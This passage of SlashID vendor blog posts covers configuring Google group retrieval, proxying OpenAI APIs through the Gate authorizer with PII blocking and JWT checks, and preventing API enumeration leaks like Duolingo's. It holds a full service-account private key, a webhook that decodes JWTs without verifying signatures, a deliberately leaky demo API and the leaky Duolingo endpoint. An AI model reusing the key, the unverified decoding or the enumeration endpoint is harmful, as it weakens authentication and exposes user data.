    "type": "service_account",
    "project_id": "your-project-id",
    "private_key_id": "8167c485286f057e06e4a9d17e99ab4913627dbd",
    "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCiaBGNydTgs0WV\numdNqzt5FlqigilYVk4J2oQqimg6Cnf8Q27ChShgDzUfwMbImm65MRFWD8UbiVGs\nZ9Q36bK53HKPgi07sZtdxuuwx2/CZ24l1q1N3Dpv5pfYzm2Z24pJbzWIF1pvDnmp\nZLA0iEXCnvOUIZ2tZ1sYmC7KH1MAbip7LNa6pJ/3fA1dRW7NWvporqFZCaGNsGwM\n0vNtS6dEwayhh8IFh2tCSARXOP62ji3BppTUItqBoh3mqP5L7iTv9iXTKTcTXb9E\nm5U1Espzc//UbElWashstYksTZYa6yrD7p2Zns2T4xRASL7j33dT5uHzIkvfeRdu\nyPj09W9TAgMBAAECggEASBj3IgDl1lL/oza7QYmwv1KjLd2mySaXQlyVq+UB3DJl\njcHJ2+UNRYe6x7vnA4s7eE9GKPSbRlwxu93kImZHB6fL29WoiwWPuZPjcfk3rhAI\noBernBMWhjLSWldZ5KHHxE3wb9geN4svi3m9l7Sfc4TpEWvS+fYWRNbafrRlPpz0\nQoFDSQy9FqxB7tGhs7insl+N16C8eQyjaysQt/xvk7pUQO6tYpVU1RVKIZlzjesU\nvOx2NfZSktILhB4teFYRQbGU0trPDfXOfj/NEQ1TUrL0gARHjYjalyrPgk2DNzXH\nCEx6ImQEKHLiJ9YeOGWvCkMBOb66kstlSwm6PxDf4QKBgQDXbvFKFmco970Yqg79\nuwJkOA29Wtqz+J9RnQd9WGL2wbFk/NCpqDnmbNM7UQm6nS9fhNkNG2BbBbW1gaYG\n+5sQ6X69ctxSVvfBqeFwwSdDqz6VReyGeQO7pNT51Ze4cW7O3BIKEoxicAgrw5uR\nAIUvHKs+UYtipAt0Y/I5GMdbSQKBgQDA/PGsnVdnPHuaPHbdJcDuXXmglOf9Nhj3\nK/eiMOE7UxeHy4vNDQyNPfhtGe7zyWqbshV2Gi2l9gyOfjt+sRDFpTG27i4Cc9Du\nNJ7EBnBIkoyswJOUmdt6YbmuAKEELZGQB9v94hIPzTpa51qbuyjNFQWVDaj2xPC5\nfmWVCW65uwKBgQDCb0ns0Q1oJzgOo6WGERuWchTMesx6tACuuygAVB51kNlXSOnW\nxZMESeHXXkuGlskjz5XKQ5QScrPOTmYXVUxd1i9iMuFwmzdfHcDvcBTM+Sgxt3tC\n3sOkvp7NoZ4ehJo6rtrFJnp3eZ+WSCQGmc6ad6iCRTyk2WPRN0dtitSaqQKBgENi\nTnQqABGw4auJ/yraetH/228BbztPf0oWlQGRtaMEMUwd+zNeogpTIAHgMzn2Ev5I\nIQw6ucOf9ORwGQ/0fVm1g3VPFsuOat4xi1oAsYX1fZ74Is+ZJTRHGREzcQVHb/Lt\ne5fbLtlLnFuPOmjz4ZwyAd/4hA2d2Du8cXWndHzvAoGBAJyuL43KBer234fD9Giu\nw+1/PR26rSO0rdKLihE2zRn4l/Kv+/UTZxGSLqpNZpGYnxJ0hAJ7J6N5yFFWZwBp\nvPB5yHmzkMVEYjWgNPzt4WjR3AroYJVzykNEPjdKcBCAM9GA+46W5KbBXbfWavE+\namtNmCJjuaiHJJjydyrTSUVB\n-----END PRIVATE KEY-----\n",
    "client_email": "groups-retrieval-guide@your-project-id.iam.gserviceaccount.com",
    "client_id": "104092906165806390865",
    "auth_uri": "https://accounts.google.com/o/oauth2/auth",
    "token_uri": "https://oauth2.googleapis.com/token",
    "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
    "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/groups-retrieval-guide%40your-project-id.iam.gserviceaccount.com",
    "super_user": "user@slashid.dev"
  }
}'

The credentials are encrypted using envelope encryption backed by an HSM to keep key material safe.

Configuring OAuth2 credentials

As described in our guide to setup SSO with SlashID, once you obtain a client_id and client_secret for Google you can pass an extra parameter to the API called external_cred which references the service account credentials we created in the previous step.

curl --location --request POST 'https://api.sandbox.slashid.com/organizations/sso/oidc/provider-credentials' \
--header 'SlashID-OrgID: <YOUR ORG ID>' \
--header 'SlashID-API-Key: <YOUR API KEY>' \
--header 'Content-Type: application/json' \
--data-raw '{
    "client_id": "<CLIENT ID>",
    "client_secret": "<CLIENT SECRET>",
    "provider": "google",
    "label": "A label for this set of credentials"
    "external_cred": <EXTERNAL_CRED_ID>
}
'

Putting it all together

Now that we have the necessary pieces in place, you can use the requires_groups parameter in your authentication requests. For example:

let user = await sid.id(oid, null, {
  method: 'oidc',
  options: {
    client_id: clientId,
    provider: provider,
    ux_mode: uxMode,
    requires_groups: 'true',
  },
})

The call above will retrieve the Google groups for the user logging in and return them as part of the OIDC token in user.decodedTokenContainer.oidc_tokens.

You are now ready to start using /id to retrieve Google Groups as part of the SSO sign-in flow.

Firewalling OpenAI APIs: Data loss prevention and identity access control

Vincenzo Iozzo, SlashID Team — Thu, 14 Sep 2023 00:00:00 GMT

Introduction

Due to the cost of LLMs APIs it is critical to enforce rate limit and granular access control on them. Further, concerns over sensitive data leakage is leading more and more companies to restricting or entirely banning access to LLMs.

In this blog post we are going to show how we can use SlashID to:

Block or monitor requests to OpenAI APIs that contain sensitive sensitive data
Enforce RBAC on OpenAI APIs and safely store the OpenAI API Key

In a future article, we'll show how to enforce rate limiting and throttling.

OpenAI APIs

The OpenAI APIs allow applications to access models and other utilities that OpenAI exposes.

For instance, you can easily generate a chat completion with a call like the following:

curl https://api.openai.com/v1/chat/completions \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $OPENAI_API_KEY" \
  -d '{
     "model": "gpt-3.5-turbo",
     "messages": [{"role": "user", "content": "Say this is a test!"}],
     "temperature": 0.7
   }'

Introducing Gate

At SlashID, we believe that security begins with Identity. Gate is our identity-aware edge authorizer to protect APIs and workloads.

Gate can be used to monitor or enforce authentication, authorization and identity-based rate limiting on APIs and workloads, as well as to detect, anonymize, or block personally identifiable information (PII) and sensitive data exposed through your APIs or workloads.

Deploying Gate

In this blog post we'll assume you deploy Gate as a standalone service and proxy OpenAI traffic through it. We are using docker compose for this exercise:

version: '3.7'

services:
  gate:
    image: slashid/gate
    ports:
      - 8080:8080
    command: [--yaml, /gate.yaml]
    volumes:
      - ./gate.yaml:/gate.yaml

In the most basic form, let's simply proxy a request to the OpenAI API and log it. This is what the gate.yaml configuration file looks like:

gate:
  port: '8080'
  log:
    format: text
    level: debug

  urls:
    - pattern: '*/v1/chat/completions*'
      target: https://api.openai.com/

curl https://gate:8080/v1/chat/completions
{
    "error": {
        "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.",
        "type": "invalid_request_error",
        "param": null,
        "code": null
    }
}

Block requests containing PII data

We can use the Gate PII detection plugin together with the OPA plugin to block requests to OpenAI APIs containing PII data:

Note: In the examples below, we embed the OPA policies directly in the Gate configuration, but they can also be served through a bundle.

Please check out our documentation to learn more about the plugin.

gate:
  plugins:
    - id: pii_anonymizer
      type: anonymizer
      enabled: false
      parameters:
        anonymizers: |
          DEFAULT:
            type: keep
    - id: authz_deny_pii
      type: opa
      enabled: false
      intercept: request
      parameters:
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if

          default allow := false

          key_found(obj, key) if { obj[key] }

          allow if not key_found(input.request.http.headers, "X-Gate-Anonymize-1")
---
urls:
  - pattern: '*/v1/chat/completions*'
    target: https://api.openai.com/
    plugins:
      pii_anonymizer:
        enabled: true
      authz_deny_pii:
        enabled: true

The PII Detection plugin is able to modify, hash, strip or simply detect PII data in requests/responses. In this example it is configured to only monitor for the presence of PII in requests:

anonymizers: |
  DEFAULT:
  type: keep

If any PII is detected, the PII plugin adds a series of headers to the request/response, X-Gate-Anonymize-N, where N is the number of PII detected.

The authz_deny_pii instance of the OPA plugin enforces an OPA policy that blocks a request if the response contains a X-Gate-Anonymize-1.

In other words, it blocks the request if the PII detection plugin found at least one PII element in the request.

Let's see an example in action:

curl -vL https://gate:8080/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
     "model": "gpt-3.5-turbo",
     "messages": [{"role": "user", "content": "email@email.com"}],
     "temperature": 0.7
   }'

...
 POST /v1/chat/completions HTTP/1.1
> Host: gate:8080
> User-Agent: curl/7.87.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 128
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Via: 1.0 gate
< Date: Thu, 14 Sep 2023 01:57:40 GMT
< Content-Length: 0

Blocking other sensitive data

The PII detection plugin supports a number of PII selectors out of the box, but it is not limited to them. It is also possible to define custom categories of data for the plugin to detect.

In the example below we specify a pattern for data that either contains the word confidential or mentions Acme Corp:

analyzer_ad_hoc_recognizers: |
  - name: Acme Corp regex
  supported_language: en
  supported_entity: ACME_SENSITIVE_DATA
  patterns:
      - name: acme_data
          regex: "*Acme Corp*"
      - name: deny_list
          deny_list: "confidential"

Once we have specified the pattern we can see it in action like we did in the previous section:

curl -vL https://gate:8080/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
     "model": "gpt-3.5-turbo",
     "messages": [{"role": "user", "content": "This data is confidential"}],
     "temperature": 0.7
   }'

...
 POST /v1/chat/completions HTTP/1.1
> Host: gate:8080
> User-Agent: curl/7.87.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 128
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Via: 1.0 gate
< Date: Thu, 14 Sep 2023 01:57:40 GMT
< Content-Length: 0

Running in monitoring mode

In large, complex environments, it is not always possible or advisable to block requests. Gate allows to run a number of plugins in monitoring mode, where an alert is triggered but the requests are not modified.

The OPA plugin also supports monitoring mode by adding monitoring_mode: true in its parameters as shown below:

    - id: authz_allow_if_authed_pii
      type: opa
      enabled: false
      intercept: request
      parameters:
        <<: *slashid_config
        monitoring_mode: true
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if

          default allow := false

          key_found(obj, key) if { obj[key] }

          allow if not key_found(input.request.http.headers, "X-Gate-Anonymize-1")

Let's send a request with PII data:

curl -vL https://gate:8080/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
     "model": "gpt-3.5-turbo",
     "messages": [{"role": "user", "content": "email@email.com"}],
     "temperature": 0.7
   }'

{
    "error": {
        "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.",
        "type": "invalid_request_error",
        "param": null,
        "code": null
    }
}

The request passes but Gate logs the policy violation:

gate-llm-demo-gate-1        | time=2023-09-14T01:57:40Z level=info msg=OPA decision: false decision_id=9f248489-4876-40ed-824e-17fb35306c3b decision_provenance={0.55.0 19fc439d01c8d667b128606390ad2cb9ded04b16-dirty 2023-09-02T15:18:29Z   map[gate:{}]} plugin=opa req_path=/v1/chat/completions request_host=gate:8080 request_url=/v1/chat/completions

Block requests from users with unauthorized roles

With Gate we can also block requests to the OpenAI APIs that are unauthenticated or come from users who don't belong to a specific group. In this example we'll perform two actions:

Use the JWT token validator plugin to validate an authorization header minted by SlashID. We further check that the user belongs to the openai_users group
We use the token reminter plugin coupled with SlashID Data Vault storage module to forward the request to the OpenAI APIs swapping the SlashID Authorization header for the OpenAI API key

We first define a Python webhook to remint the token and swap the Authorization header:

class MintTokenRequest(BaseModel):
    slashid_token: str = Field(
        title="SlashID Token", example="eyJhbGciOiJIUzI1NiIsInR5cCI6Ik..."
    )
    person_id: str = Field(
        title="SlashID Person ID", example="cc006198-ef43-42ac-9b5a-b52713569d0f"
    )
    handles: Optional[List[Handle]] = Field(title="Person's login handles")

class MintTokenResponse(BaseModel):
    headers_to_set: Optional[Dict[str, str]]
    cookies_to_add: Optional[Dict[str, str]]

def retrieve_openai_key(person_id):
    # Construct the URL
    url = f"https://api.slashid.com/persons/{person_id}/attributes/end_user_no_access"

    # Perform the GET request
    response = requests.get(url)

    # Check if the request was successful
    if response.status_code == 200:
        data = response.json()
        return data['result']['openai_apikey']
    else:
        print(f"Request failed with status code {response.status_code}.")
        return None

@app.post(
    "/remint_token",
    tags=["gate"],
    status_code=status.HTTP_201_CREATED,
    summary="Endpoint called by Gate to translate SlashID token in a custom token",
)
def mint_token(request: MintTokenRequest) -> MintTokenResponse:
    logger.info(f"/mint_token: request={request}")

    sid_token = request.slashid_token
    try:
        token = jwt.decode(sid_token, options={"verify_signature": False})
    except Exception as e:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=f"Token {sid_token} is invalid: {e}",
        )

    openai_token = retrieve_openai_key(token.get("person_id"))

    if openai_token is None:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=f"Unable to get openai token",
        )

    return MintTokenResponse(
        headers_to_set={"Authorization": "Bearer " + openai_token}, cookies_to_add=None
    )

The mint_token function decodes the JWT token with the SlashID user, retrieves one of its Data Vault buckets where the OpenAI API key is stored and rewrite the Authorization header with the OpenAI key.

Note: The reminter works without SlashID. You could for instance look up the OpenAI API Key from your instance of Hashicorp Vault or from another location

Let's now take a look at the Gate configuration:

gate:
  plugins:
    - id: validator
      type: validate-jwt
      enable_http_caching: true
      enabled: false
      parameters:
        required_groups: ['openai_users']
        jwks_url: https://api.slashid.com/.well-known/jwks.json
        jwks_refresh_interval: 15m
        jwt_expected_issuer: https://api.slashid.com
    - id: pii_anonymizer
      type: anonymizer
      enabled: true
      parameters:
        anonymizers: |
          DEFAULT:
            type: keep
    - id: authz_deny_pii
      type: opa
      enabled: false
      intercept: request
      parameters:
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if

          default allow := false

          key_found(obj, key) if { obj[key] }

          allow if not key_found(input.request.http.headers, "X-Gate-Anonymize-1")
    - id: reminter
      type: token-reminting
      enabled: false
      parameters:
        remint_token_endpoint: http://backend:8000/remint_token

  port: '8080'
  log:
    format: text
    level: debug

  urls:
    - pattern: '*/v1/chat/completions*'
      target: https://api.openai.com/
      plugins:
        validator:
          enabled: true
        pii_anonymizer:
          enabled: true
        authz_deny_pii:
          enabled: true
        reminter:
          enabled: true

A lot of things are happening on the */v1/chat/completions* endpoint:

We first validate the Authorization header, including checking that the user belongs to the correct group, through the validator instance of the JWT Validator plugin.
We then proceed to check whether the request contains any PII data with pii_anonymizer.
Next, we block the request through the OPA plugin authz_deny_pii if any PII was detected.
Finally, if the request made it this far we use the reminter to swap the SlashID authorization token for the OpenAI API key and we let the request through.

In particular, the JWT validator checks the validity of the JWT token as well as whether the user belongs to the openai_users group as shown below:

- id: validator
  type: validate-jwt
  enable_http_caching: true
  enabled: false
  parameters:
    required_groups: ['openai_users']
    jwks_url: https://api.slashid.com/.well-known/jwks.json
    jwks_refresh_interval: 15m
    jwt_expected_issuer: https://api.slashid.com

Let's see it in action:

curl -vL https://gate:8080/v1/chat/completions \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer abc"
  -d '{
     "model": "gpt-3.5-turbo",
     "messages": [{"role": "user", "content": "Say this is a test with SlashID!"}],
     "temperature": 0.7
   }'

{
    "id": "chatcmpl-abc123",
    "object": "chat.completion",
    "created": 1677858242,
    "model": "gpt-3.5-turbo-0613",
    "usage": {
        "prompt_tokens": 13,
        "completion_tokens": 7,
        "total_tokens": 20
    },
    "choices": [
        {
            "message": {
                "role": "assistant",
                "content": "\n\nThis is a test with SlashID!"
            },
            "finish_reason": "stop",
            "index": 0
        }
    ]
}

Conclusion

In this brief blog post we've demonstrated a few of the things you can do to securely access LLMs without compromising on privacy and security. Stay tuned for the next blog post on rate limiting and OpenAI APIs.

We’d love to hear any feedback you may have! Try out Gate with a free account. If you'd like to use the PII detection plugin, please contact us at contact@slashid.dev!

Protecting Exposed APIs: Avoid Data Leaks with SlashID Gate and OPA

Vincenzo Iozzo, SlashID Team — Tue, 05 Sep 2023 00:00:00 GMT

How did the Duolingo leak happen?

In March, Ivano Somaini wrote a tweet disclosing an unauthenticated Duolingo API as part of his Open Source Intelligence (OSINT) work.

The issue is pretty straightforward. A simple API call to the https://www.duolingo.com/2017-06-30/users?email endpoint reveals several private details about users and allows attackers to enumerate registered emails. Below an example output:

{
  "users": [
    {
      "joinedClassroomIds": [],
      "streak": 0,
      "motivation": "none",
      "acquisitionSurveyReason": "none",
      "shouldForceConnectPhoneNumber": false,
      "picture": "//simg-ssl.duolingo.com/avatar/default_2",
      "learningLanguage": "ru",
      "hasFacebookId": false,
      "shakeToReportEnabled": null,
      "liveOpsFeatures": [
        {
          "startTimestamp": 1693007940,
          "type": "TIMED_PRACTICE",
          "endTimestamp": 1693180740
        }
      ],
      "canUseModerationTools": false,
      "id": 184078602543312,
      "betaStatus": "INELIGIBLE",
      "hasGoogleId": false,
      "privacySettings": [],
      "fromLanguage": "en",
      "hasRecentActivity15": false,
      "_achievements": [],
      "observedClassroomIds": [],
      "username": "example",
      "bio": "",
      "profileCountry": "US",
      "chinaUserModerationRecords": [],
      "globalAmbassadorStatus": {},
      "currentCourseId": "DUOLINGO_RU_EN",
      "hasPhoneNumber": false,
      "creationDate": 146229322008,
      "achievements": [],
      "hasPlus": false,
      "name": "o",
      "roles": ["users"],
      "classroomLeaderboardsEnabled": false,
      "emailVerified": false,
      "courses": [
        {
          "preload": false,
          "placementTestAvailable": false,
          "authorId": "duolingo",
          "title": "Russian",
          "learningLanguage": "ru",
          "xp": 370,
          "healthEnabled": true,
          "fromLanguage": "en",
          "crowns": 7,
          "id": "DUOLINGO_RU_EN"
        }
      ],
      "totalXp": 370,
      "streakData": {
        "currentStreak": null
      }
    }
  ]
}

Armed with this API, an attacker published a dump of 2.6 million user records on VX-Underground.

This kind of incident is far from isolated, and Duolingo is just one of the many examples. In a similar incident in 2021, the "Add Friend" API allowed linking phone numbers to user accounts, costing Facebook over $275 million in fines from the Irish Data Protection Commission.

Introducing Gate

At SlashID, we believe that security begins with Identity. Gate is our identity-aware edge authorizer to protect APIs and workloads.

Read on to learn how to deploy Gate to prevent data breaches like the ones mentioned above.

Deploying Gate

Gate can be deployed in multiple ways: as a sidecar for your service, as an external authorizer for Envoy, an ingress proxy or a plugin for your favorite API Gateway. See more in the Gate configuration docs.

For this toy example we chose a simple Docker Compose deployment, which looks like this:

version: '3.7'

services:
  backend:
    build: backend
    ports:
      - 8000:8000
    environment:
      - PORT=8000
    env_file:
      - envs/env.env
    restart: on-failure

  gate:
    image: slashid/gate:latest
    volumes:
      - ./gate.yaml:/gate/gate.yaml
    ports:
      - 8080:8080
    env_file:
      - envs/env.env
    command: --yaml /gate/gate.yaml
    restart: on-failure
    depends_on:
      - backend

The Docker Compose spawns two services: Gate and a toy backend.

Simulating the leaky API

Our toy backend contains a REST API that behaves similarly to the Duolingo one:

users = [
    {'email': 'test@example.com', 'name': 'Test User', 'id': 1},
    {'email': 'john@example.com', 'name': 'John Doe', 'id': 2},
    # ... add more users if needed
]

def get_user_by_email(email: str) -> Optional[dict]:
    for user in users:
        if user['email'] == email:
            return user
    return None

@app.get("/get_user/", tags=["business"])
async def read_user(email: str = Query(..., description="The email of the user to search for")):
    user = get_user_by_email(email)
    if user:
        return user
    else:
        raise HTTPException(status_code=404, detail="User not found")

Let's test it:

curl 'http://gate:8080/get_user/?email=test@example.com' | jq
{
  "email": "test@example.com",
  "name": "Test User",
  "id": 1
}

Detecting PII data through Gate

Gate has a plugin-based architecture and we expose several built-in plugins. In particular, the PII Anonymizer plugin allows the detection and anonymization of PII or other sensitive data.

The PII Anonymizer plugin can be configured to exclusively monitor PII (as opposed to editing the traffic) by setting the anonymizers rule to keep. We'll show an example in the next section.

Let's see a simple Gate configuration that detects email addresses and rewrites the HTTP response to anonymize the field with a hash of the email address:

gate:
  port: 8080
  log:
    format: text
    level: info

  plugins_http_cache:
    - pattern: '*'
      cache_control_override: private, max-age=600, stale-while-revalidate=300

  plugins:
    - id: pii_anonymizer
      type: anonymizer
      enabled: false
      intercept: request_response
      parameters:
        anonymizers: |
          EMAIL_ADDRESS:
            type: hash

  urls:
    - pattern: '*/get_user'
      target: http://backend:8000
      plugins:
        pii_anonymizer:
          enabled: true

Let's test it:

curl 'http://gate:8080/api/get_user/?email=test@example.com' | jq
{
  "email": "973dfe463ec85785f5f95af5ba3906eedb2d931c24e69824a89ea65dba4e813b",
  "id": 1,
  "name": "Test User"
}

Detecting PII and blocking the request with OPA

Note: similarly to the PII detection plugin, the OPA plugin can also be run in monitoring mode. See the end of the blogpost to find out more.

Sometimes hashing the request is not enough and you want to block it entirely, let's see how to combine the PII detection plugin with the OPA plugin to detect and block requests containing PII data.

Note: In the examples below we embed the OPA policies directly in the Gate config but they can also be served through a bundle, please check out our documentation to learn more about the plugin.

gate:
  port: 8080
  log:
    format: text
    level: info

  plugins_http_cache:
    - pattern: '*'
      cache_control_override: private, max-age=600, stale-while-revalidate=300

  plugins:
    - id: authz_deny_pii
      type: opa
      enabled: false
      intercept: response
      parameters:
        <<: *slashid_config
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if

          default allow := false

          no_key_found(obj, key) {
            not obj[key]
          }

          allow if no_key_found(input.response.http.headers,  "X-Gate-Anonymize-1")

    - id: pii_anonymizer
      type: anonymizer
      enabled: false
      intercept: request_response
      parameters:
        anonymizers: |
          DEFAULT:
            type: keep
  urls:
    - pattern: '*/get_user'
      target: http://backend:8000
      plugins:
        pii_anonymizer:
          enabled: true
        authz_deny_pii:
          enabled: true

The authz_deny_pii instance of the OPA plugin enforces an OPA policy that blocks a request if the response contains a X-Gate-Anonymize-1. This is a header added by the PII detection plugin to notify of the presence of PII.

Let's see it in action:

/usr/server/app $ curl --verbose 'http://gate:8080/api/get_user/?email=test@example.com' | jq
* processing: http://gate:8080/api/get_user/?email=test@example.com
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 172.27.0.5:8080...
* Connected to gate (172.27.0.5) port 8080
> GET /api/get_user/?email=test@example.com HTTP/1.1
> Host: gate:8080
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Cache-Control: private, max-age=600, stale-while-revalidate=300
< Content-Length: 0
< Content-Type: application/json
< Date: Sat, 02 Sep 2023 13:58:00 GMT
< Server: uvicorn
< Via: 1.0 gate
< X-Gate-Anonymize-1: $.body.email 0 64 EMAIL_ADDRESS
<
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
* Connection #0 to host gate left intact

Note that in this example pii_anonymizer is set to monitoring mode: type: keep for all PII types (DEFAULT). The plugin allows PII to pass through unchanged, without replacing it with an anonymized version of the data or changing the traffic in any way.

- id: pii_anonymizer
  type: anonymizer
  enabled: false
  intercept: request_response
  parameters:
    anonymizers: |
      DEFAULT:
        type: keep

Differential policy enforcement for authenticated users

Let's now enforce a new OPA policy that blocks requests containing PII only if the user is not authenticated, while allowing PII in requests of authenticated users.

For simplicity, in this example we'll use SlashID Access to handle authentication, but any Identity Provider (IdP) would be suitable.

gate:
  port: 8080
  log:
    format: text
    level: info

  plugins_http_cache:
    - pattern: '*'
      cache_control_override: private, max-age=600, stale-while-revalidate=300

  plugins:
    - id: authz_allow_if_authed_pii
      type: opa
      enabled: false
      intercept: response
      parameters:
        <<: *slashid_config
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if

          default allow := false

          key_found(obj, key) if { obj[key] }

          jwks_request := http.send({
              "cache": true,
              "method": "GET",
              "url": "https://api.slashid.com/.well-known/jwks.json"
          })
          valid_signature if io.jwt.verify_rs256(input.request.token, jwks_request.raw_body)

          allow if not key_found(input.response.http.headers, "X-Gate-Anonymize-1")
          allow if valid_signature

    - id: pii_anonymizer
      type: anonymizer
      enabled: false
      intercept: request_response
      parameters:
        anonymizers: |

          DEFAULT:
            type: keep
  urls:
    - pattern: '*/get_user'
      target: http://backend:8000
      plugins:
        pii_anonymizer:
          enabled: true
        authz_deny_pii:
          enabled: true

This rule is a bit more complicated, let’s see what happens step by step.

First, we retrieve the JSON Web Key Set (JWKS) from https://api.slashid.com/.well-known/jwks.json.
Later, we check that either the incoming authorization token has a valid RS256 signature signed by SlashID or that X-Gate-Anonymize-1 is not present.
If either condition is true, the request is allowed. Let's see this in action:

curl --verbose -L 'http://gate:8080/api/get_user/?email=test@example.com' | jq
* processing: http://gate:8080/api/get_user/?email=test@example.com
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 172.27.0.5:8080...
* Connected to gate (172.27.0.5) port 8080
> GET /api/get_user/?email=test@example.com HTTP/1.1
> Host: gate:8080
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Cache-Control: private, max-age=600, stale-while-revalidate=300
< Content-Length: 0
< Content-Type: application/json
< Date: Sat, 02 Sep 2023 16:04:24 GMT
< Server: uvicorn
< Via: 1.0 gate
< X-Gate-Anonymize-1: $.body.email 0 64 EMAIL_ADDRESS
<
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
* Connection #0 to host gate left intact

The request above is blocked because there is PII in the response and no valid JWT has been provided.

Let's send a request with a valid token:

curl -H "Authorization: Bearer <TOKEN>" 'http://gate:8080/api/get_user/?email=test@example.com' | jq
{
  "email": "test@example.com",
  "id": 1,
  "name": "Test User"
}

Note in this case that we configured the PII plugin to alert of PII presence but not to replace or obfuscate it in any way, hence why we see the original clear-text response.

Depending on the IdP you are using, it is also possible to create more complex policies that not only check the validity of the identity token, but also examine specific properties of the token. (Look out for our next Gate blogpost for a deeper dive into this topic!)

Blocking requests to unknown URLs

More often than not, companies don't really know which APIs are exposed to begin with. Gate can help in this scenario too.

Gate plugin instances can be applied to all routes, or you can select specific routes. In the example config below we enable the PII and OPA plugin instances on all routes and selectively disable them on specific routes:


gate:
  port: 8080
  log:
    format: text
    level: info

  plugins_http_cache:
    - pattern: "*"
      cache_control_override: private, max-age=600, stale-while-revalidate=300

  plugins:
    - id: authz_allow_if_authed_pii
      type: opa
      enabled: true
      intercept: response
      parameters:
        <<: *slashid_config
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if

          default allow := false

          key_found(obj, key) if { obj[key] }

          jwks_request := http.send({
              "cache": true,
              "method": "GET",
              "url": "https://api.slashid.com/.well-known/jwks.json"
          })
          valid_signature if io.jwt.verify_rs256(input.request.token, jwks_request.raw_body)

          allow if not key_found(input.response.http.headers, "X-Gate-Anonymize-1")
          allow if valid_signature
    - id: pii_anonymizer
      type: anonymizer
      enabled: true
      intercept: request_response
      parameters:
        anonymizers: |
          DEFAULT:
            type: keep

  urls:

    - pattern: "*/api/echo"
      target: http://backend:8000
      plugins:
        authz_allow_if_authed_pii:
          enabled: false
        pii_anonymizer:
          enabled: false

    - pattern: "*"
      target: http://backend:8000

Note how the plugins are defined as enabled by default and how in the URLs we explicitly disable the plugins on selected paths (e.g. "*/api/echo").

/usr/server/app $ curl --verbose -X POST 'http://gate:8080/api/echo' -d "email=abc@abc.com" | jq
Note: Unnecessary use of -X or --request, POST is already inferred.
* processing: http://gate:8080/api/echo
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 172.27.0.5:8080...
* Connected to gate (172.27.0.5) port 8080
> POST /api/echo HTTP/1.1
> Host: gate:8080
> User-Agent: curl/8.2.1
> Accept: */*
> Content-Length: 17
> Content-Type: application/x-www-form-urlencoded
>
} [17 bytes data]
< HTTP/1.1 200 OK
< Cache-Control: private, max-age=600, stale-while-revalidate=300
< Content-Length: 360
< Content-Type: application/json
< Date: Sun, 03 Sep 2023 09:30:38 GMT
< Server: uvicorn
< Via: 1.0 gate
<
{ [360 bytes data]
100   377  100   360  100    17  32933   1555 --:--:-- --:--:-- --:--:-- 37700
* Connection #0 to host gate left intact
{
  "method": "POST",
  "headers": {
    "host": "backend:8000",
    "user-agent": "curl/8.2.1",
    "content-length": "17",
    "accept": "*/*",
    "content-type": "application/x-www-form-urlencoded",
    "x-b3-sampled": "1",
    "x-b3-spanid": "39b9a26c103c6b5d",
    "x-b3-traceid": "ce0b56fc209ec47fbe0496606595c06b",
    "accept-encoding": "gzip"
  },
  "url": "http://backend:8000/api/echo",
  "body": {
    "email": "abc@abc.com"
  }
}
/usr/server/app $ curl --verbose 'http://gate:8080/api/get_user/?email=test@example.com' | jq
* processing: http://gate:8080/api/get_user/?email=test@example.com
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 172.27.0.5:8080...
* Connected to gate (172.27.0.5) port 8080
> GET /api/get_user/?email=test@example.com HTTP/1.1
> Host: gate:8080
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Cache-Control: private, max-age=600, stale-while-revalidate=300
< Content-Length: 0
< Content-Type: application/json
< Date: Sun, 03 Sep 2023 09:31:37 GMT
< Server: uvicorn
< Via: 1.0 gate
< X-Gate-Anonymize-1: $.body.email 0 16 EMAIL_ADDRESS
<
